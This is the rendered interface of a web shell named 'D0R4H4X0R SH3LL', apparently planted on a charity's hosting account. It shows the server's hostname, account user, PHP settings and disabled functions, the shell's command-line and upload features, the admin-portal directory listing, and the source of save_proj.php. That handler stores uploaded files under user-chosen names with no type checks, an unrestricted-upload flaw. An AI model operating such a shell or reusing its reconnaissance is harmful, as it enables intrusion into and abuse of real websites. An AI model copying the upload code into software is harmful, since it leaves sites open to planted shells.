D0R4H4X0R SH3LL

Server Information

Server: LiteSpeed
System: Linux ezra.momentumhosting.cloud 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
User: equalcompa ( 1022 )
PHP Version: 8.2.28
Python Version: Python is not available
Disabled Functions:Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, dl, exec, passthru, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_open, shell_exec, show_source, system

Features

Command Line

Find Longest Directory Path

Scan New PHP Files

Upload File

Directory: /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/

Current File : /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/save_proj.php

<?php
include('ant.php');

$response = ['success' => false, 'message' => ''];

// Check if the request is a POST request
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    try {
        // Handle the Cover Image upload
        $coverImagePath = '';
        if (isset($_FILES['coverImage']) && $_FILES['coverImage']['error'] === UPLOAD_ERR_OK) {
            $coverImagePath = 'uploads/' . basename($_FILES['coverImage']['name']);
            move_uploaded_file($_FILES['coverImage']['tmp_name'], $coverImagePath);
        }

        // Handle Gallery Images upload
        $galleryImagePaths = [];
        if (isset($_FILES['galleryImages'])) {
            foreach ($_FILES['galleryImages']['name'] as $index => $name) {
                if ($_FILES['galleryImages']['error'][$index] === UPLOAD_ERR_OK) {
                    $filePath = 'uploads/' . basename($name);
                    move_uploaded_file($_FILES['galleryImages']['tmp_name'][$index], $filePath);
                    $galleryImagePaths[] = $filePath;
                }
            }
        }

        // Get the other form data
        $title = $_POST['title'];
        $brief = $_POST['brief'];
        
        
        // Get all paragraphs and store them as JSON
        $paragraphs = isset($_POST['paragraphs']) ? json_encode($_POST['paragraphs']) : json_encode([]);

        // Insert data into the database
        $sql = "INSERT INTO projects (cover_image, title, brief, paragraphs, gallery_images, post_date) VALUES (:cover_image, :title, :brief, :paragraphs, :gallery_images, NOW())";
        $stmt = $conn->prepare($sql);
        $stmt->execute([
            ':cover_image' => $coverImagePath,
            ':title' => $title,
            ':brief' => $brief,
            ':paragraphs' => $paragraphs,
            ':gallery_images' => json_encode($galleryImagePaths)
        ]);

        $response['success'] = true;
        $response['message'] = 'Project saved successfully!';
    } catch (Exception $e) {
        $response['message'] = 'Error: ' . $e->getMessage();
    }
}

// Send JSON response
header('Content-Type: application/json');
echo json_encode($response);
?>
Directory drwxr-xr-x
css DIR
Directory drwxr-xr-x
icons DIR
Directory drwxr-xr-x
images DIR
Directory drwxr-xr-x
js DIR
Directory drwxr-xr-x
uploads DIR
Directory drwxr-xr-x
vendor DIR
Directory drwxr-xr-x
addproj.php 16.670 KB
File -rw-r--r--
addstud.php 16.539 KB
File -rw-r--r--
ant.php 0.714 KB
File -rw-r--r--
certificate.php 5.538 KB
File -rw-r--r--
dashboard.php 12.578 KB
File -rw-r--r--
download.php 12.431 KB
File -rw-r--r--
eproj.php 16.734 KB
File -rw-r--r--
estud.php 16.702 KB
File -rw-r--r--
File -rw-r--r--
form-element.php 109.741 KB
File -rw-r--r--
gen.html 1.176 KB
File -rw-r--r--
gen.php 1.170 KB
File -rw-r--r--
index.php 4.959 KB
File -rw-r--r--
issue.php 12.453 KB
File -rw-r--r--
issuedc.php 11.827 KB
File -rw-r--r--
jquery.min.js 91.442 KB
File -rw-r--r--
logout.php 0.085 KB
File -rw-r--r--
pending.php 11.983 KB
File -rw-r--r--
qr.php 5.052 KB
File -rw-r--r--
qrcode.js 32.391 KB
File -rw-r--r--
qrcode.min.js 19.460 KB
File -rw-r--r--
reset.php 6.757 KB
File -rw-r--r--
save_blog.php 2.091 KB
File -rw-r--r--
save_proj.php 2.097 KB
File -rw-r--r--
sidebar.php 2.344 KB
File -rw-r--r--
table1.php 115.450 KB
File -rw-r--r--
tables.php 208.188 KB
File -rw-r--r--
tick.gif 317.185 KB
File -rw-r--r--
trash.php 13.152 KB
File -rw-r--r--
update_blog.php 1.989 KB
File -rw-r--r--
File -rw-r--r--
vstud.php 12.438 KB
File -rw-r--r--
widget.php 160.418 KB
File -rw-r--r--
D0R4H4X0R SH3LL